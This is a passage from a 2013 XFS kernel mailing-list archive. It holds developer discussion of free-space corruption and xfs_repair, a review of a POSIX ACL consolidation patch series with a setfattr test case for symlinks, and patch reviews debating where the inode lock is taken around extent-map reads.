xfs_buf_t *agbp, /* buffer for a.g. freelist header */ 1460 xfs_agnumber_t agno, /* allocation group number */ 1461 xfs_agblock_t bno, /* starting block number */ 1462 xfs_extlen_t len, /* length of extent */ 1463 int isfl) /* set if is freelist blocks - no sb acctg */ 1464 { 1465 xfs_btree_cur_t *bno_cur; /* cursor for by-block btree */ 1466 xfs_btree_cur_t *cnt_cur; /* cursor for by-size btree */ 1467 int error; /* error return value */ 1468 xfs_agblock_t gtbno; /* start of right neighbor block */ 1469 xfs_extlen_t gtlen; /* length of right neighbor block */ 1470 int haveleft; /* have a left neighbor block */ 1471 int haveright; /* have a right neighbor block */ 1472 int i; /* temp, result code */ 1473 xfs_agblock_t ltbno; /* start of left neighbor block */ 1474 xfs_extlen_t ltlen; /* length of left neighbor block */ 1475 xfs_mount_t *mp; /* mount point struct for filesystem */ 1476 xfs_agblock_t nbno; /* new starting block of freespace */ 1477 xfs_extlen_t nlen; /* new length of freespace */ 1478 xfs_perag_t *pag; /* per allocation group data */ 1479 1480 mp = tp->t_mountp; 1481 /* 1482 * Allocate and initialize a cursor for the by-block btree. 1483 */ 1484 bno_cur = xfs_allocbt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_BNO); 1485 cnt_cur = NULL; 1486 /* 1487 * Look for a neighboring block on the left (lower block numbers) 1488 * that is contiguous with this space. 1489 */ 1490 if ((error = xfs_alloc_lookup_le(bno_cur, bno, len, &haveleft))) 1491 goto error0; 1492 if (haveleft) { 1493 /* 1494 * There is a block to our left. 1495 */ 1496 if ((error = xfs_alloc_get_rec(bno_cur, <bno, <len, &i))) 1497 goto error0; 1498 XFS_WANT_CORRUPTED_GOTO(i == 1, error0); 1499 /* 1500 * It's not contiguous, though. 1501 */ 1502 if (ltbno + ltlen < bno) 1503 haveleft = 0; 1504 else { 1505 /* 1506 * If this failure happens the request to free this 1507 * space was invalid, it's (partly) already free. 1508 * Very bad. 1509 */ 1510 XFS_WANT_CORRUPTED_GOTO(ltbno + ltlen <= bno, error0); 1511 } 1512 } @ 1510 the extent list in one of the files that was being deleted included a block that was already in the by block number freespace btree. Unfortunately repair may have removed all of the evidence. It's one of those deals where the corruption would have acutally happened awhile ago and we don't find out until later. Recently we found a bug in repair where it doesn't fix certain kinds of corruption. Here are the strings to look for in your xfs_repair output: "fork in ino ... claims dup extent" "fork in ino ... claims free block" "fork in inode ... claims used block" If you run repair again and see those messages you still have the corruption. If you do still have the corruption it would be very helpful to grab a metadump. Then if you restart rm and get 'lucky' and hit it again, a logprint would be helpful. The fix for repair is here if you need it: http://oss.sgi.com/archives/xfs/2013-12/msg00109.html This is the same symptom that we're currently discussing in another thread: http://oss.sgi.com/archives/xfs/2013-12/msg00108.html It's too early to make an assertion that this is what you have, but it might make some interesting reading if you are interested. Kind of a crazy coincidence. Thanks, Ben From andreas.gruenbacher@linbit.com Thu Dec 5 11:57:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 244CD7F56 for ; Thu, 5 Dec 2013 11:57:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C4764AC005 for ; Thu, 5 Dec 2013 09:57:19 -0800 (PST) X-ASG-Debug-ID: 1386266236-04bdf01323482f0001-NocioJ Received: from zimbra13.linbit.com (zimbra13.linbit.com [212.69.166.240]) by cuda.sgi.com with ESMTP id AycaErpqsOf4CNpT for ; Thu, 05 Dec 2013 09:57:18 -0800 (PST) X-Barracuda-Envelope-From: andreas.gruenbacher@linbit.com X-Barracuda-Apparent-Source-IP: 212.69.166.240 Received: from localhost (localhost [127.0.0.1]) by zimbra13.linbit.com (Postfix) with ESMTP id DCDED4177B2; Thu, 5 Dec 2013 18:57:15 +0100 (CET) Received: from zimbra13.linbit.com ([127.0.0.1]) by localhost (zimbra13.linbit.com [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id Rh4cqUu6Sbcq; Thu, 5 Dec 2013 18:57:15 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by zimbra13.linbit.com (Postfix) with ESMTP id 81DB8417812; Thu, 5 Dec 2013 18:57:15 +0100 (CET) X-Virus-Scanned: amavisd-new at linbit.com Received: from zimbra13.linbit.com ([127.0.0.1]) by localhost (zimbra13.linbit.com [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id UgK7LUsvVQk3; Thu, 5 Dec 2013 18:57:15 +0100 (CET) Received: from zimbra13.linbit.com (zimbra13.linbit.com [212.69.166.240]) by zimbra13.linbit.com (Postfix) with ESMTP id 54098417811; Thu, 5 Dec 2013 18:57:15 +0100 (CET) Date: Thu, 5 Dec 2013 18:57:14 +0100 (CET) From: Andreas Gruenbacher To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Message-ID: <279325185.39210.1386266234086.JavaMail.zimbra@linbit.com> In-Reply-To: <20131201115903.910559036@bombadil.infradead.org> References: <20131201115903.910559036@bombadil.infradead.org> Subject: Re: [PATCH 00/18] Consolidate Posix ACL implementation MIME-Version: 1.0 X-ASG-Orig-Subj: Re: [PATCH 00/18] Consolidate Posix ACL implementation Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [178.165.132.32] X-Mailer: Zimbra 8.0.5_GA_5839 (ZimbraWebClient - FF24 (Linux)/8.0.5_GA_5839) Thread-Topic: Consolidate Posix ACL implementation Thread-Index: w9VnKymeqAJLAKzWL98RahV/Sz0+pQ== X-Barracuda-Connect: zimbra13.linbit.com[212.69.166.240] X-Barracuda-Start-Time: 1386266237 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142866 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Christoph, nice work, and a pretty diffstat. I see that get_acl and set_acl are being defined in some but not all symlink inode operations (for example, btrfs them while ext4 does not), and that posix_acl_xattr_set() doesn't check if set_acl is defined. Symlinks cannot have ACLs, so set_acl should either never be defined for symlinks (and a NULL check is then needed in posix_acl_xattr_set()), or it is defined in all inode operations, and S_ISNLNK() check is needed in posix_acl_xattr_set(). That latter check should probably be added in any case to be on the safe side. Test case: setfattr -h -n system.posix_acl_access \ -v 0sAgAAAAEABgD/////AgAGABMEAAAEAAYA/////xAABgD/////IAAEAP////8= \ symlink Patch 6 also declares posix_acl_prepare() but this function is never introduced; this must be a leftover from a previous version. Thanks, Andreas From bpm@sgi.com Thu Dec 5 13:38:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DE03B7F67 for ; Thu, 5 Dec 2013 13:38:34 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id C8C05304081; Thu, 5 Dec 2013 11:38:31 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 9B42C4266DC; Thu, 5 Dec 2013 13:38:31 -0600 (CST) Date: Thu, 5 Dec 2013 13:38:31 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes Message-ID: <20131205193831.GH1935@sgi.com> References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.199565525@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205155951.199565525@bombadil.infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Dec 05, 2013 at 07:58:31AM -0800, Christoph Hellwig wrote: > Signed-off-by: Christoph Hellwig For fallocate and ioc space. Looks good. Reviewed-by: Ben Myers From bpm@sgi.com Thu Dec 5 13:46:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8DDF27F6A for ; Thu, 5 Dec 2013 13:46:13 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7529E304081; Thu, 5 Dec 2013 11:46:13 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 545A44266DC; Thu, 5 Dec 2013 13:46:13 -0600 (CST) Date: Thu, 5 Dec 2013 13:46:13 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqtobp Message-ID: <20131205194613.GI1935@sgi.com> References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.330689967@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205155951.330689967@bombadil.infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Dec 05, 2013 at 07:58:32AM -0800, Christoph Hellwig wrote: > We might not have read in the extent list at this point, so make sure we > take the ilock exclusively if we have to do so. > > Signed-off-by: Christoph Hellwig Reviewed-by: Ben Myers From bpm@sgi.com Thu Dec 5 13:48:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A0CA97F6C for ; Thu, 5 Dec 2013 13:48:45 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1FF6AAC001; Thu, 5 Dec 2013 11:48:42 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id DE9B74266DC; Thu, 5 Dec 2013 13:48:41 -0600 (CST) Date: Thu, 5 Dec 2013 13:48:41 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqiterate Message-ID: <20131205194841.GJ1935@sgi.com> References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.506063990@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205155951.506063990@bombadil.infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Dec 05, 2013 at 07:58:33AM -0800, Christoph Hellwig wrote: > We might not have read in the extent list at this point, so make sure we > take the ilock exclusively if we have to do so. > > Signed-off-by: Christoph Hellwig Reviewed-by: Ben Myers From bpm@sgi.com Thu Dec 5 13:57:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F38147F60 for ; Thu, 5 Dec 2013 13:57:39 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id D89BC304087; Thu, 5 Dec 2013 11:57:39 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id A6C7D4266DC; Thu, 5 Dec 2013 13:57:39 -0600 (CST) Date: Thu, 5 Dec 2013 13:57:39 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 4/5] xfs: use xfs_ilock_map_shared in xfs_attr_get Message-ID: <20131205195739.GK1935@sgi.com> References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.679310054@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205155951.679310054@bombadil.infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Dec 05, 2013 at 07:58:34AM -0800, Christoph Hellwig wrote: > We might not have read in the extent list at this point, so make sure we > take the ilock exclusively if we have to do so. > > Signed-off-by: Christoph Hellwig Reviewed-by: Ben Myers From bpm@sgi.com Thu Dec 5 14:11:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 26E107F66 for ; Thu, 5 Dec 2013 14:11:59 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id E6B07304081; Thu, 5 Dec 2013 12:11:55 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C47574266DC; Thu, 5 Dec 2013 14:11:55 -0600 (CST) Date: Thu, 5 Dec 2013 14:11:55 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 5/5] xfs: assert that we hold the ilock for extent map access Message-ID: <20131205201155.GL1935@sgi.com> References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.874279041@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205155951.874279041@bombadil.infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Dec 05, 2013 at 07:58:35AM -0800, Christoph Hellwig wrote: > Make sure that xfs_bmapi_read has the ilock held in some way, and that > xfs_bmapi_write, xfs_bmapi_delay and xfs_iread_extents are called with > the ilock held exclusively. > > Signed-off-by: Christoph Hellwig Reviewed-by: Ben Myers From david@fromorbit.com Thu Dec 5 14:31:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6BE527F6F for ; Thu, 5 Dec 2013 14:31:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3842F30407E for ; Thu, 5 Dec 2013 12:31:20 -0800 (PST) X-ASG-Debug-ID: 1386275478-04bdf013224fbf0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id FJ5Pm2A262TUK6rf for ; Thu, 05 Dec 2013 12:31:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhQHAE/ioFJ5LHyk/2dsb2JhbABZgweDM7B2hU+BGxd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gBwVYXFo5qB4MggRMDmBOKTIdIgWuBUig Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 06 Dec 2013 07:01:18 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VofZr-0007pU-Li; Fri, 06 Dec 2013 07:31:15 +1100 Date: Fri, 6 Dec 2013 07:31:15 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes Message-ID: <20131205203115.GA29897@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/5] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.199565525@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205155951.199565525@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386275478 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142871 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 05, 2013 at 07:58:31AM -0800, Christoph Hellwig wrote: > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_bmap_util.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_bmap_util.c 2013-12-05 11:37:57.791685284 +0100 > +++ xfs/fs/xfs/xfs_bmap_util.c 2013-12-05 11:39:43.599683113 +0100 > @@ -1147,6 +1147,7 @@ xfs_zero_remaining_bytes( > xfs_mount_t *mp = ip->i_mount; > int nimap; > int error = 0; > + uint lock_mode; > > /* > * Avoid doing I/O beyond eof - it's not necessary > @@ -1159,11 +1160,15 @@ xfs_zero_remaining_bytes( > if (endoff > XFS_ISIZE(ip)) > endoff = XFS_ISIZE(ip); > > + lock_mode = xfs_ilock_map_shared(ip); > + > bp = xfs_buf_get_uncached(XFS_IS_REALTIME_INODE(ip) ? > mp->m_rtdev_targp : mp->m_ddev_targp, > BTOBB(mp->m_sb.sb_blocksize), 0); This now holds the ilock over data IO, which is not allowed to be done as data IO completion can require the ilock to be taken. Yes, the code specifically avoids all these problems, but the general rule is that ilock is only held over metadata IO operations, not data IO. If we need data IO serialisation, then we use the iolock. So, while this protects the extent tree, it also violates other long-standing conventions for locking. Given that the code is special, I'mnot opposed to making a special rule for this one function, but it needs to be commented as to why this is a valid thing to do in this function.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Thu Dec 5 14:37:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 94A127F6F for ; Thu, 5 Dec 2013 14:37:40 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7D0CB8F8035; Thu, 5 Dec 2013 12:37:37 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 41D114266DC; Thu, 5 Dec 2013 14:37:37 -0600 (CST) Date: Thu, 5 Dec 2013 14:37:37 -0600 From: Ben Myers To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 1/5] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes Message-ID: <20131205203737.GM1935@sgi.com> References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.199565525@bombadil.infradead.org> <20131205203115.GA29897@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205203115.GA29897@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Dec 06, 2013 at 07:31:15AM +1100, Dave Chinner wrote: > On Thu, Dec 05, 2013 at 07:58:31AM -0800, Christoph Hellwig wrote: > > Signed-off-by: Christoph Hellwig > > > > Index: xfs/fs/xfs/xfs_bmap_util.c > > =================================================================== > > --- xfs.orig/fs/xfs/xfs_bmap_util.c 2013-12-05 11:37:57.791685284 +0100 > > +++ xfs/fs/xfs/xfs_bmap_util.c 2013-12-05 11:39:43.599683113 +0100 > > @@ -1147,6 +1147,7 @@ xfs_zero_remaining_bytes( > > xfs_mount_t *mp = ip->i_mount; > > int nimap; > > int error = 0; > > + uint lock_mode; > > > > /* > > * Avoid doing I/O beyond eof - it's not necessary > > @@ -1159,11 +1160,15 @@ xfs_zero_remaining_bytes( > > if (endoff > XFS_ISIZE(ip)) > > endoff = XFS_ISIZE(ip); > > > > + lock_mode = xfs_ilock_map_shared(ip); > > + > > bp = xfs_buf_get_uncached(XFS_IS_REALTIME_INODE(ip) ? > > mp->m_rtdev_targp : mp->m_ddev_targp, > > BTOBB(mp->m_sb.sb_blocksize), 0); > > This now holds the ilock over data IO, which is not allowed to be > done as data IO completion can require the ilock to be taken. Yes, > the code specifically avoids all these problems, but the general > rule is that ilock is only held over metadata IO operations, not > data IO. If we need data IO serialisation, then we use the iolock. > > So, while this protects the extent tree, it also violates other > long-standing conventions for locking. Given that the code is > special, I'mnot opposed to making a special rule for this one > function, but it needs to be commented as to why this is a valid > thing to do in this function.... Maybe it would be better if the ilock could be taken and dropped within the loop. From BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org Thu Dec 5 14:40:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BAE157F75 for ; Thu, 5 Dec 2013 14:40:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 83DB130407E for ; Thu, 5 Dec 2013 12:40:11 -0800 (PST) X-ASG-Debug-ID: 1386276009-04bdf0131b501a0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id A0yLj5gUEArmgmyR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 12:40:10 -0800 (PST) X-Barracuda-Envelope-From: BATV+82d1270192a571f4cd05+3756+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VofiS-00030i-So; Thu, 05 Dec 2013 20:40:08 +0000 Date: Thu, 5 Dec 2013 12:40:08 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 1/5] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes Message-ID: <20131205204008.GA7686@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/5] xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.199565525@bombadil.infradead.org> <20131205203115.GA29897@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205203115.GA29897@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386276010 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142871 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Dec 06, 2013 at 07:31:15AM +1100, Dave Chinner wrote: > This now holds the ilock over data IO, which is not allowed to be > done as data IO completion can require the ilock to be taken. Yes, > the code specifically avoids all these problems, but the general > rule is that ilock is only held over metadata IO operations, not > data IO. If we need data IO serialisation, then we use the iolock. And we already hold the iolock here. So yeah, we probably should just move it to protect the xfs_bmapi_read call only. From david@fromorbit.com Thu Dec 5 14:41:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 069347F75 for ; Thu, 5 Dec 2013 14:41:14 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E97A18F8035 for ; Thu, 5 Dec 2013 12:41:13 -0800 (PST) X-ASG-Debug-ID: 1386276071-04cbb0416755cfa0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id CXvzD8pzCzL4iMH9 for ; Thu, 05 Dec 2013 12:41:11 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhQHAJTkoFJ5LHyk/2dsb2JhbABZgweDM7B3hU+BGxd0giUBAQUnExwjEAgDDgoJJQ8FJQMhE4gBwVUXFo4dTQeDIIETA5gTikyHSIM9KIEt Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail04.adl6.internode.on.net with ESMTP; 06 Dec 2013 07:11:10 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VofjQ-0007tK-3y; Fri, 06 Dec 2013 07:41:08 +1100 Date: Fri, 6 Dec 2013 07:41:08 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqtobp Message-ID: <20131205204108.GB29897@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/5] xfs: use xfs_ilock_map_shared in xfs_qm_dqtobp References: <20131205155830.620826868@bombadil.infradead.org> <20131205155951.330689967@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131205155951.330689967@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1386276071 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142871 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Dec 05, 2013 at 07:58:32AM -0800, Christoph Hellwig wrote: > We might not have read in the extent list at this point, so make sure we > take the ilock exclusively if we have to do so. > > Signed-off-by: Christoph Hellwig > > Index: 